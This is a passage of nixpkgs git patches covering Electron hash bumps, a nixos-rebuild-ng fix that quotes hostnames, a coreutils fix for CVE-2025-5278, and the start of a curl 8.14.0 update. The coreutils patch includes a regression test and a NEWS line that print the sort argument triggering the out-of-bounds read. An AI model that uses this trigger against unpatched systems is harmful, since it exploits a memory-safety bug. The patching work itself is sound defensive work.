From d5157c2d57925c610b2c808db6e7ee234806a0a5 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Sun, 25 May 2025 19:42:43 +0200
Subject: [PATCH 0289/4511] electron-chromedriver_35: 35.3.0 -> 35.5.0

- Changelog: https://github.com/electron/electron/releases/tag/v35.5.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.3.0...v35.5.0
- Fixes CVE-2025-4609
- Fixes CVE-2025-4664

(cherry picked from commit f7dccadbd9e7217296d6e7adc828a9dac7e27d08)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index 526283bc9abd..fadaab4043a9 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "cab8392356a0eecea3cc0ce0484ec721ed55e5343aeda4e4bab43bf874eca03f",
-            "aarch64-linux": "bd73195f28a134b48c6872d4fd2b02cbf556ce6b9542c2eb0db24a1973947711",
-            "armv7l-linux": "d757d538247f3225d0334eeb0f707fcd3fb483ed920be7d17ada7a27ade7068b",
-            "headers": "1la2xfr8lyvq7dc4mxllj3qksrrwxmz3nc2fnr2h0l08bfn2y1ay",
-            "x86_64-darwin": "1ef4c2712558300fe12c279199275d9fb911b790abcada98d85fcb41db4fa98a",
-            "x86_64-linux": "4a82a0322279e98de71ae7599dd1d152b16a69e794e54a4a17f5d1cdd2aaa9ea"
+            "aarch64-darwin": "511a3c6a6b6032985224bcbc1c4884f8673f7573bde7f3919e9797d6645b53c4",
+            "aarch64-linux": "25923b319e958285847d4e5c154eb7877b49380042a20c781185d8b6eb558afa",
+            "armv7l-linux": "d67750b53d37699ade36ebe1912bd72b64af6e825d2d0ac5095531a0b84b191d",
+            "headers": "0wspga950dap8wk6ak2idsmp8irjn4xaxq431vxr5ik6r07zn89b",
+            "x86_64-darwin": "c995faf74d2d7e5b6000b8a1e9551d60e396a19a29796608a090417388a9dd1a",
+            "x86_64-linux": "a1ef549561d64a9d10c1e658f8e86cd735d4261f0c4fc871d8c342240c23d9e0"
         },
-        "version": "35.3.0"
+        "version": "35.5.0"
     },
     "36": {
         "hashes": {

From 493a0765445c8464bef627466fb52fb23ec08c75 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Sun, 25 May 2025 19:42:48 +0200
Subject: [PATCH 0290/4511] electron_36-bin: 36.2.0 -> 36.3.2

- Changelog: https://github.com/electron/electron/releases/tag/v36.3.2
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.2.0...v36.3.2

(cherry picked from commit 703edb37771013fa0aeeb5d7191adaa26651f51c)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index ba01bda2c62d..ab7370d0d55f 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -34,13 +34,13 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "58da93c88626005c419906e15d4ae0a38f876453b4146fa357ec1545aeff46ae",
-            "aarch64-linux": "34705bb8645a64e33861cca51693afd02b5f74e9bbb3a9e6be76fec9ffed3328",
-            "armv7l-linux": "7d7c2a4fced66e3f1373810b66b2185f4bc9e27aa0d1ea910c52397b63c2e4d5",
-            "headers": "1rn0p8yf1dm43czl4wn0fsxf4gr4y5pqh08invjgvj8671xsn06d",
-            "x86_64-darwin": "c33a52795bfd51d8801594f4f1a3b17b34571edc8842e30b986b1aa27c3a82d0",
-            "x86_64-linux": "013dface80733221d4153aaf538e8969b93f50d68798d7de2425d5e758e6956b"
+            "aarch64-darwin": "2b51b3001a0e79d9130a379d5276b87c22c054ddf4f19413fd9e0aa2983b4a9e",
+            "aarch64-linux": "0e68a05932d1c662ec8c33a2773aea5575eae1081514cf6ce1c4efe331b772bf",
+            "armv7l-linux": "216d0c8b6a76ef78e7c3b82a45cda251e5d6b038de89bc62f32a7317590d3995",
+            "headers": "1s0didlyil9vzxjkmnf49h7k99319l71m37fdz6zj45v5dnqqj7g",
+            "x86_64-darwin": "460d54a596a3a8a04c6414fb7866e453b7075c1a848bc3230aa01b6d566e8b03",
+            "x86_64-linux": "d124c39544faf125f45f3adccf83e53ca23589d9f35115f69644cfc5c8133e4e"
         },
-        "version": "36.2.0"
+        "version": "36.3.2"
     }
 }

From d19b09175912a43907e1d47ac800493ab29326af Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Sun, 25 May 2025 19:42:50 +0200
Subject: [PATCH 0291/4511] electron-chromedriver_36: 36.2.0 -> 36.3.2

- Changelog: https://github.com/electron/electron/releases/tag/v36.3.2
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.2.0...v36.3.2

(cherry picked from commit f3e205a9b7e292c110a1998a2a7a78ad90c8fdb2)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index fadaab4043a9..cdaaf85176c2 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -34,13 +34,13 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "fd60bfe2f014e90faf071321568089e0907fb0077d29f3bb9341b059af8a634f",
-            "aarch64-linux": "1ad1ce228687516ab70d858ab90067234c6a3b2a607b81bc130ddd5ab5576f41",
-            "armv7l-linux": "03af68d98a2257b05f3ae0c02ded4018fc3cd142523cbe30fd7560e740b0370c",
-            "headers": "1rn0p8yf1dm43czl4wn0fsxf4gr4y5pqh08invjgvj8671xsn06d",
-            "x86_64-darwin": "ce5116a70e68daeacfd1511b332ac694520b8a4a63ca738353c7e610420d75dc",
-            "x86_64-linux": "7851aa60540fd72aa309a649317966f0bc193547ca942b706b78df36c48ff51b"
+            "aarch64-darwin": "dbbfe5a72cdce199204c32039e5cf38992dd4a5bde95d9a1f351a130fadde340",
+            "aarch64-linux": "ffacf585beb157ab6e2607ac0d288d8cac979f73f08355a50c2244a700272ec1",
+            "armv7l-linux": "d7e290f616e8a7ba2d3b9463939e7b48e3b7f49727483424f3b06ecf7d1bebc6",
+            "headers": "1s0didlyil9vzxjkmnf49h7k99319l71m37fdz6zj45v5dnqqj7g",
+            "x86_64-darwin": "d1dbd94952411b0663f9da05c1c5938d87f4498c798b4b90c7db21bc311329f1",
+            "x86_64-linux": "54296abbcc99416528555113ec0871f230eef5492304827a1208591457d6968a"
         },
-        "version": "36.2.0"
+        "version": "36.3.2"
     }
 }

From f1a4bc629e18f120369b724f99426166b37a261a Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Fri, 30 May 2025 14:13:45 +0100
Subject: [PATCH 0292/4511] nixos-rebuild-ng: quote hostname

Fix #412328.

(cherry picked from commit 583b497c246d0e0d1dcf3933a1c7d80f3b5b0377)
---
 .../src/nixos_rebuild/models.py               |  2 +-
 .../nixos-rebuild-ng/src/tests/test_main.py   | 14 ++++----
 .../nixos-rebuild-ng/src/tests/test_models.py | 34 +++++++++++--------
 .../ni/nixos-rebuild-ng/src/tests/test_nix.py |  6 ++--
 4 files changed, 30 insertions(+), 26 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py
index 2c7150875b5a..0d67bc81aed9 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/models.py
@@ -122,7 +122,7 @@ class Flake:
         m = cls._re.match(flake_str)
         assert m is not None, f"got no matches for {flake_str}"
         attr = m.group("attr")
-        nixos_attr = f"nixosConfigurations.{attr or hostname_fn() or 'default'}"
+        nixos_attr = f'nixosConfigurations."{attr or hostname_fn() or "default"}"'
         path_str = m.group("path")
         if ":" in path_str:
             return cls(path_str, nixos_attr)
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
index e41bd1c6ad0f..59270b73ec38 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
@@ -385,7 +385,7 @@ def test_execute_nix_build_image_flake(mock_run: Mock, tmp_path: Path) -> None:
                     "nix",
                     "eval",
                     "--json",
-                    "/path/to/config#nixosConfigurations.hostname.config.system.build.images",
+                    '/path/to/config#nixosConfigurations."hostname".config.system.build.images',
                     "--apply",
                     "builtins.attrNames",
                 ],
@@ -400,7 +400,7 @@ def test_execute_nix_build_image_flake(mock_run: Mock, tmp_path: Path) -> None:
                     "nix-command flakes",
                     "build",
                     "--print-out-paths",
-                    "/path/to/config#nixosConfigurations.hostname.config.system.build.images.azure",
+                    '/path/to/config#nixosConfigurations."hostname".config.system.build.images.azure',
                 ],
                 check=True,
                 stdout=PIPE,
@@ -411,7 +411,7 @@ def test_execute_nix_build_image_flake(mock_run: Mock, tmp_path: Path) -> None:
                     "nix",
                     "eval",
                     "--json",
-                    "/path/to/config#nixosConfigurations.hostname.config.system.build.images.azure.passthru.filePath",
+                    '/path/to/config#nixosConfigurations."hostname".config.system.build.images.azure.passthru.filePath',
                 ],
                 check=True,
                 stdout=PIPE,
@@ -462,7 +462,7 @@ def test_execute_nix_switch_flake(mock_run: Mock, tmp_path: Path) -> None:
                     "nix-command flakes",
                     "build",
                     "--print-out-paths",
-                    "/path/to/config#nixosConfigurations.hostname.config.system.build.toplevel",
+                    '/path/to/config#nixosConfigurations."hostname".config.system.build.toplevel',
                     "-v",
                     "--option",
                     "narinfo-cache-negative-ttl",
@@ -756,7 +756,7 @@ def test_execute_nix_switch_flake_target_host(
                     "nix-command flakes",
                     "build",
                     "--print-out-paths",
-                    "/path/to/config#nixosConfigurations.hostname.config.system.build.toplevel",
+                    '/path/to/config#nixosConfigurations."hostname".config.system.build.toplevel',
                     "--no-link",
                 ],
                 check=True,
@@ -860,7 +860,7 @@ def test_execute_nix_switch_flake_build_host(
                     "nix-command flakes",
                     "eval",
                     "--raw",
-                    "/path/to/config#nixosConfigurations.hostname.config.system.build.toplevel.drvPath",
+                    '/path/to/config#nixosConfigurations."hostname".config.system.build.toplevel.drvPath',
                 ],
                 check=True,
                 stdout=PIPE,
@@ -1063,7 +1063,7 @@ def test_execute_test_flake(mock_run: Mock, tmp_path: Path) -> None:
                     "nix-command flakes",
                     "build",
                     "--print-out-paths",
-                    "github:user/repo#nixosConfigurations.hostname.config.system.build.toplevel",
+                    'github:user/repo#nixosConfigurations."hostname".config.system.build.toplevel',
                 ],
                 check=True,
                 stdout=PIPE,
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py
index cf9c052c709b..2cc450e00a36 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_models.py
@@ -32,38 +32,42 @@ def test_build_attr_to_attr() -> None:
 
 def test_flake_parse(tmpdir: Path, monkeypatch: MonkeyPatch) -> None:
     assert m.Flake.parse("/path/to/flake#attr") == m.Flake(
-        Path("/path/to/flake"), "nixosConfigurations.attr"
+        Path("/path/to/flake"), 'nixosConfigurations."attr"'
     )
     assert m.Flake.parse("/path/ to /flake", lambda: "hostname") == m.Flake(
-        Path("/path/ to /flake"), "nixosConfigurations.hostname"
+        Path("/path/ to /flake"), 'nixosConfigurations."hostname"'
     )
     assert m.Flake.parse("/path/to/flake", lambda: "hostname") == m.Flake(
-        Path("/path/to/flake"), "nixosConfigurations.hostname"
+        Path("/path/to/flake"), 'nixosConfigurations."hostname"'
     )
     # change directory to tmpdir
     with monkeypatch.context() as patch_context:
         patch_context.chdir(tmpdir)
-        assert m.Flake.parse(".#attr") == m.Flake(Path("."), "nixosConfigurations.attr")
-        assert m.Flake.parse("#attr") == m.Flake(Path("."), "nixosConfigurations.attr")
-        assert m.Flake.parse(".") == m.Flake(Path("."), "nixosConfigurations.default")
+        assert m.Flake.parse(".#attr") == m.Flake(
+            Path("."), 'nixosConfigurations."attr"'
+        )
+        assert m.Flake.parse("#attr") == m.Flake(
+            Path("."), 'nixosConfigurations."attr"'
+        )
+        assert m.Flake.parse(".") == m.Flake(Path("."), 'nixosConfigurations."default"')
     assert m.Flake.parse("path:/to/flake#attr") == m.Flake(
-        "path:/to/flake", "nixosConfigurations.attr"
+        "path:/to/flake", 'nixosConfigurations."attr"'
     )
     assert m.Flake.parse("github:user/repo/branch") == m.Flake(
-        "github:user/repo/branch", "nixosConfigurations.default"
+        "github:user/repo/branch", 'nixosConfigurations."default"'
     )
     git_root = tmpdir / "git_root"
     git_root.mkdir()
     (git_root / ".git").mkdir()
     assert m.Flake.parse(str(git_root)) == m.Flake(
-        f"git+file://{git_root}", "nixosConfigurations.default"
+        f"git+file://{git_root}", 'nixosConfigurations."default"'
     )
 
     work_tree = tmpdir / "work_tree"
     work_tree.mkdir()
     (work_tree / ".git").write_text("gitdir: /path/to/git", "utf-8")
     assert m.Flake.parse(str(work_tree)) == m.Flake(
-        "git+file:///path/to/git", "nixosConfigurations.default"
+        "git+file:///path/to/git", 'nixosConfigurations."default"'
     )
 
 
@@ -84,7 +88,7 @@ def test_flake_from_arg(
 
     # Flake string
     assert m.Flake.from_arg("/path/to/flake#attr", None) == m.Flake(
-        Path("/path/to/flake"), "nixosConfigurations.attr"
+        Path("/path/to/flake"), 'nixosConfigurations."attr"'
     )
 
     # False
@@ -94,7 +98,7 @@ def test_flake_from_arg(
     with monkeypatch.context() as patch_context:
         patch_context.chdir(tmpdir)
         assert m.Flake.from_arg(True, None) == m.Flake(
-            Path("."), "nixosConfigurations.hostname"
+            Path("."), 'nixosConfigurations."hostname"'
         )
 
     # None when we do not have /etc/nixos/flake.nix
@@ -124,7 +128,7 @@ def test_flake_from_arg(
         ),
     ):
         assert m.Flake.from_arg(None, None) == m.Flake(
-            "git+file:///etc/nixos", "nixosConfigurations.hostname"
+            "git+file:///etc/nixos", 'nixosConfigurations."hostname"'
         )
 
     with (
@@ -145,7 +149,7 @@ def test_flake_from_arg(
         ),
     ):
         assert m.Flake.from_arg(None, None) == m.Flake(
-            Path("/path/to"), "nixosConfigurations.hostname"
+            Path("/path/to"), 'nixosConfigurations."hostname"'
         )
 
     with (
@@ -156,7 +160,7 @@ def test_flake_from_arg(
         ),
     ):
         assert m.Flake.from_arg("/path/to", m.Remote("user@host", [], None)) == m.Flake(
-            Path("/path/to"), "nixosConfigurations.remote-hostname"
+            Path("/path/to"), 'nixosConfigurations."remote-hostname"'
         )
 
 
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
index 2180abd55d71..d87b6b62dca8 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
@@ -68,7 +68,7 @@ def test_build_flake(mock_run: Mock, monkeypatch: MonkeyPatch, tmpdir: Path) ->
             "nix-command flakes",
             "build",
             "--print-out-paths",
-            ".#nixosConfigurations.hostname.config.system.build.toplevel",
+            '.#nixosConfigurations."hostname".config.system.build.toplevel',
             "--no-link",
             "--nix-flag",
             "foo",
@@ -194,7 +194,7 @@ def test_build_remote_flake(
                     "nix-command flakes",
                     "eval",
                     "--raw",
-                    ".#nixosConfigurations.hostname.config.system.build.toplevel.drvPath",
+                    '.#nixosConfigurations."hostname".config.system.build.toplevel.drvPath',
                     "--flake",
                 ],
                 stdout=PIPE,
@@ -304,7 +304,7 @@ def test_edit(mock_run: Mock, monkeypatch: MonkeyPatch, tmpdir: Path) -> None:
             "edit",
             "--commit-lock-file",
             "--",
-            f"{tmpdir}#nixosConfigurations.attr",
+            f'{tmpdir}#nixosConfigurations."attr"',
         ],
         check=False,
     )

From 8b2b792b556c873432fb675c67bf3dc0b30577e7 Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Fri, 30 May 2025 01:03:53 -0700
Subject: [PATCH 0293/4511] coreutils: fix CVE-2025-5278

This is a heap buffer overflow in `sort` that's been here since
coreutils 7.2 in 2009:

https://www.openwall.com/lists/oss-security/2025/05/27/2
(cherry picked from commit 79b4d7669a1ab4465ae96ee37835c85b86098f0b)
---
 pkgs/tools/misc/coreutils/CVE-2025-5278.patch | 123 ++++++++++++++++++
 pkgs/tools/misc/coreutils/default.nix         |  10 ++
 2 files changed, 133 insertions(+)
 create mode 100644 pkgs/tools/misc/coreutils/CVE-2025-5278.patch

diff --git a/pkgs/tools/misc/coreutils/CVE-2025-5278.patch b/pkgs/tools/misc/coreutils/CVE-2025-5278.patch
new file mode 100644
index 000000000000..c55b7a8694f0
--- /dev/null
+++ b/pkgs/tools/misc/coreutils/CVE-2025-5278.patch
@@ -0,0 +1,123 @@
+From 8c9602e3a145e9596dc1a63c6ed67865814b6633 Mon Sep 17 00:00:00 2001
+From: Pádraig Brady <P@draigBrady.com>
+Date: Tue, 20 May 2025 16:03:44 +0100
+Subject: sort: fix buffer under-read (CWE-127)
+
+* src/sort.c (begfield): Check pointer adjustment
+to avoid Out-of-range pointer offset (CWE-823).
+(limfield): Likewise.
+* tests/sort/sort-field-limit.sh: Add a new test,
+which triggers with ASAN or Valgrind.
+* tests/local.mk: Reference the new test.
+* NEWS: Mention bug fix introduced in v7.2 (2009).
+Fixes https://bugs.gnu.org/78507
+---
+ NEWS                           |  5 +++++
+ src/sort.c                     | 12 ++++++++++--
+ tests/local.mk                 |  1 +
+ tests/sort/sort-field-limit.sh | 35 +++++++++++++++++++++++++++++++++++
+ 4 files changed, 51 insertions(+), 2 deletions(-)
+ create mode 100755 tests/sort/sort-field-limit.sh
+
+diff --git a/NEWS b/NEWS
+index 6ff403206..923aa72f8 100644
+--- a/NEWS
++++ b/NEWS
+@@ -8,6 +8,11 @@ GNU coreutils NEWS                                    -*- outline -*-
+   copying to non-NFS files from NFSv4 files with trivial ACLs.
+   [bug introduced in coreutils-9.6]
+ 
++  sort with key character offsets of SIZE_MAX, could induce
++  a read of 1 byte before an allocated heap buffer. For example:
++  'sort +0.18446744073709551615R input' on 64 bit systems.
++  [bug introduced in coreutils-7.2]
++
+ 
+ * Noteworthy changes in release 9.7 (2025-04-09) [stable]
+ 
+diff --git a/src/sort.c b/src/sort.c
+index b10183b6f..7af1a2512 100644
+--- a/src/sort.c
++++ b/src/sort.c
+@@ -1644,7 +1644,11 @@ begfield (struct line const *line, struct keyfield const *key)
+       ++ptr;
+ 
+   /* Advance PTR by SCHAR (if possible), but no further than LIM.  */
+-  ptr = MIN (lim, ptr + schar);
++  size_t remaining_bytes = lim - ptr;
++  if (schar < remaining_bytes)
++    ptr += schar;
++  else
++    ptr = lim;
+ 
+   return ptr;
+ }
+@@ -1746,7 +1750,11 @@ limfield (struct line const *line, struct keyfield const *key)
+           ++ptr;
+ 
+       /* Advance PTR by ECHAR (if possible), but no further than LIM.  */
+-      ptr = MIN (lim, ptr + echar);
++      size_t remaining_bytes = lim - ptr;
++      if (echar < remaining_bytes)
++        ptr += echar;
++      else
++        ptr = lim;
+     }
+ 
+   return ptr;
+diff --git a/tests/local.mk b/tests/local.mk
+index 4da6756ac..642d225fa 100644
+--- a/tests/local.mk
++++ b/tests/local.mk
+@@ -388,6 +388,7 @@ all_tests =					\
+   tests/sort/sort-debug-keys.sh			\
+   tests/sort/sort-debug-warn.sh			\
+   tests/sort/sort-discrim.sh			\
++  tests/sort/sort-field-limit.sh		\
+   tests/sort/sort-files0-from.pl		\
+   tests/sort/sort-float.sh			\
+   tests/sort/sort-h-thousands-sep.sh		\
+diff --git a/tests/sort/sort-field-limit.sh b/tests/sort/sort-field-limit.sh
+new file mode 100755
+index 000000000..52d8e1d17
+--- /dev/null
++++ b/tests/sort/sort-field-limit.sh
+@@ -0,0 +1,35 @@
++#!/bin/sh
++# From 7.2-9.7, this would trigger an out of bounds mem read
++
++# Copyright (C) 2025 Free Software Foundation, Inc.
++
++# This program is free software: you can redistribute it and/or modify
++# it under the terms of the GNU General Public License as published by
++# the Free Software Foundation, either version 3 of the License, or
++# (at your option) any later version.
++
++# This program is distributed in the hope that it will be useful,
++# but WITHOUT ANY WARRANTY; without even the implied warranty of
++# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++# GNU General Public License for more details.
++
++# You should have received a copy of the GNU General Public License
++# along with this program.  If not, see <https://www.gnu.org/licenses/>.
++
++. "${srcdir=.}/tests/init.sh"; path_prepend_ ./src
++print_ver_ sort
++getlimits_
++
++# This issue triggers with valgrind or ASAN
++valgrind --error-exitcode=1 sort --version 2>/dev/null &&
++  VALGRIND='valgrind --error-exitcode=1'
++
++{ printf '%s\n' aa bb; } > in || framework_failure_
++
++_POSIX2_VERSION=200809 $VALGRIND sort +0.${SIZE_MAX}R in > out || fail=1
++compare in out || fail=1
++
++_POSIX2_VERSION=200809 $VALGRIND sort +1 -1.${SIZE_MAX}R in > out || fail=1
++compare in out || fail=1
++
++Exit $fail
+-- 
+cgit v1.2.3
+
diff --git a/pkgs/tools/misc/coreutils/default.nix b/pkgs/tools/misc/coreutils/default.nix
index 50750c4875b1..facfbd89bd49 100644
--- a/pkgs/tools/misc/coreutils/default.nix
+++ b/pkgs/tools/misc/coreutils/default.nix
@@ -2,6 +2,8 @@
   lib,
   stdenv,
   fetchurl,
+  autoconf,
+  automake,
   autoreconfHook,
   buildPackages,
   libiconv,
@@ -55,6 +57,12 @@ stdenv.mkDerivation rec {
     hash = "sha256-6LsmrQKT+bWh/EP7QrqXDjEsZs6SwbCxZxPXUA2yUb8=";
   };
 
+  patches = [
+    # Heap buffer overflow that's been here since coreutils 7.2 in 2009:
+    # https://www.openwall.com/lists/oss-security/2025/05/27/2
+    ./CVE-2025-5278.patch
+  ];
+
   postPatch =
     ''
       # The test tends to fail on btrfs, f2fs and maybe other unusual filesystems.
@@ -124,6 +132,8 @@ stdenv.mkDerivation rec {
     [
       perl
       xz.bin
+      autoconf
+      automake
     ]
     ++ optionals stdenv.hostPlatform.isCygwin [
       # due to patch

From 7dddeae2abda971bd2a44300c5f24083c9142a19 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Fri, 30 May 2025 11:02:21 +0200
Subject: [PATCH 0294/4511] coreutils: avoid autotools by not adding a new test

Extra dependencies can be annoying by making stdenv bootstrapping
more complex.

(cherry picked from commit 59918e44cf78cd7a64a6dd7242d23e5d79650896)
---
 pkgs/tools/misc/coreutils/CVE-2025-5278.patch | 58 +------------------
 pkgs/tools/misc/coreutils/default.nix         |  4 --
 2 files changed, 2 insertions(+), 60 deletions(-)

diff --git a/pkgs/tools/misc/coreutils/CVE-2025-5278.patch b/pkgs/tools/misc/coreutils/CVE-2025-5278.patch
index c55b7a8694f0..197a77020fe2 100644
--- a/pkgs/tools/misc/coreutils/CVE-2025-5278.patch
+++ b/pkgs/tools/misc/coreutils/CVE-2025-5278.patch
@@ -19,6 +19,8 @@ Fixes https://bugs.gnu.org/78507
  4 files changed, 51 insertions(+), 2 deletions(-)
  create mode 100755 tests/sort/sort-field-limit.sh
 
+The new tests is NOT added in NixOS.
+
 diff --git a/NEWS b/NEWS
 index 6ff403206..923aa72f8 100644
 --- a/NEWS
@@ -65,59 +67,3 @@ index b10183b6f..7af1a2512 100644
      }
  
    return ptr;
-diff --git a/tests/local.mk b/tests/local.mk
-index 4da6756ac..642d225fa 100644
---- a/tests/local.mk
-+++ b/tests/local.mk
-@@ -388,6 +388,7 @@ all_tests =					\
-   tests/sort/sort-debug-keys.sh			\
-   tests/sort/sort-debug-warn.sh			\
-   tests/sort/sort-discrim.sh			\
-+  tests/sort/sort-field-limit.sh		\
-   tests/sort/sort-files0-from.pl		\
-   tests/sort/sort-float.sh			\
-   tests/sort/sort-h-thousands-sep.sh		\
-diff --git a/tests/sort/sort-field-limit.sh b/tests/sort/sort-field-limit.sh
-new file mode 100755
-index 000000000..52d8e1d17
---- /dev/null
-+++ b/tests/sort/sort-field-limit.sh
-@@ -0,0 +1,35 @@
-+#!/bin/sh
-+# From 7.2-9.7, this would trigger an out of bounds mem read
-+
-+# Copyright (C) 2025 Free Software Foundation, Inc.
-+
-+# This program is free software: you can redistribute it and/or modify
-+# it under the terms of the GNU General Public License as published by
-+# the Free Software Foundation, either version 3 of the License, or
-+# (at your option) any later version.
-+
-+# This program is distributed in the hope that it will be useful,
-+# but WITHOUT ANY WARRANTY; without even the implied warranty of
-+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+# GNU General Public License for more details.
-+
-+# You should have received a copy of the GNU General Public License
-+# along with this program.  If not, see <https://www.gnu.org/licenses/>.
-+
-+. "${srcdir=.}/tests/init.sh"; path_prepend_ ./src
-+print_ver_ sort
-+getlimits_
-+
-+# This issue triggers with valgrind or ASAN
-+valgrind --error-exitcode=1 sort --version 2>/dev/null &&
-+  VALGRIND='valgrind --error-exitcode=1'
-+
-+{ printf '%s\n' aa bb; } > in || framework_failure_
-+
-+_POSIX2_VERSION=200809 $VALGRIND sort +0.${SIZE_MAX}R in > out || fail=1
-+compare in out || fail=1
-+
-+_POSIX2_VERSION=200809 $VALGRIND sort +1 -1.${SIZE_MAX}R in > out || fail=1
-+compare in out || fail=1
-+
-+Exit $fail
--- 
-cgit v1.2.3
-
diff --git a/pkgs/tools/misc/coreutils/default.nix b/pkgs/tools/misc/coreutils/default.nix
index facfbd89bd49..8b0177f03fbe 100644
--- a/pkgs/tools/misc/coreutils/default.nix
+++ b/pkgs/tools/misc/coreutils/default.nix
@@ -2,8 +2,6 @@
   lib,
   stdenv,
   fetchurl,
-  autoconf,
-  automake,
   autoreconfHook,
   buildPackages,
   libiconv,
@@ -132,8 +130,6 @@ stdenv.mkDerivation rec {
     [
       perl
       xz.bin
-      autoconf
-      automake
     ]
     ++ optionals stdenv.hostPlatform.isCygwin [
       # due to patch

From ca1295d0d7d0c3336ff531f812b1c847748f9fae Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Wed, 28 May 2025 20:37:45 +0200
Subject: [PATCH 0295/4511] curlMinimal: 8.13.0 -> 8.14.0

https://github.com/curl/curl/releases/tag/curl-8_14_0
https://curl.se/ch/8.14.0.html
https://daniel.haxx.se/blog/2025/05/28/curl-8-14-0/

`openssl` is executed during checkPhase to generate certificate in
`genserv.pl`. Seems like it was required since 8.13.0, but it started
failing tests since 8.14.0 with commit
https://github.com/curl/curl/commit/3d4e4a18740585c01c1314fbca849e47229461e6

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit a6bd2d6bcbf7e9bdc0451e58b9c89397af74a979)
---
 ...x-stream-window-size-after-unpausing.patch | 155 -------------
 .../curlMinimal/fix-add_handle-resizing.patch | 209 ++++++++++++++++++
 pkgs/by-name/cu/curlMinimal/package.nix       |  39 ++--
 3 files changed, 222 insertions(+), 181 deletions(-)
 delete mode 100644 pkgs/by-name/cu/curlMinimal/0001-http2-fix-stream-window-size-after-unpausing.patch
 create mode 100644 pkgs/by-name/cu/curlMinimal/fix-add_handle-resizing.patch

diff --git a/pkgs/by-name/cu/curlMinimal/0001-http2-fix-stream-window-size-after-unpausing.patch b/pkgs/by-name/cu/curlMinimal/0001-http2-fix-stream-window-size-after-unpausing.patch
deleted file mode 100644
index 8960f617d3f1..000000000000
--- a/pkgs/by-name/cu/curlMinimal/0001-http2-fix-stream-window-size-after-unpausing.patch
+++ /dev/null
@@ -1,155 +0,0 @@
-From 5fbd78eb2dc4afbd8884e8eed27147fc3d4318f6 Mon Sep 17 00:00:00 2001
-From: Stefan Eissing <stefan@eissing.org>
-Date: Fri, 4 Apr 2025 10:43:13 +0200
-Subject: [PATCH] http2: fix stream window size after unpausing
-
-When pausing a HTTP/2 transfer, the stream's local window size
-is reduced to 0 to prevent the server from sending further data
-which curl cannot write out to the application.
-
-When unpausing again, the stream's window size was not correctly
-increased again. The attempt to trigger a window update was
-ignored by nghttp2, the server never received it and the transfer
-stalled.
-
-Add a debug feature to allow use of small window sizes which
-reproduces this bug in test_02_21.
-
-Fixes #16955
-Closes #16960
----
- docs/libcurl/libcurl-env-dbg.md |  5 +++++
- lib/http2.c                     | 31 +++++++++++++++++++++++++++++++
- tests/http/test_02_download.py  | 27 +++++++++++++++++++++++++--
- 3 files changed, 61 insertions(+), 2 deletions(-)
-
-diff --git a/docs/libcurl/libcurl-env-dbg.md b/docs/libcurl/libcurl-env-dbg.md
-index 471533625f6b..60c887bfd5a9 100644
---- a/docs/libcurl/libcurl-env-dbg.md
-+++ b/docs/libcurl/libcurl-env-dbg.md
-@@ -147,3 +147,8 @@ Make a blocking, graceful shutdown of all remaining connections when
- a multi handle is destroyed. This implicitly triggers for easy handles
- that are run via easy_perform. The value of the environment variable
- gives the shutdown timeout in milliseconds.
-+
-+## `CURL_H2_STREAM_WIN_MAX`
-+
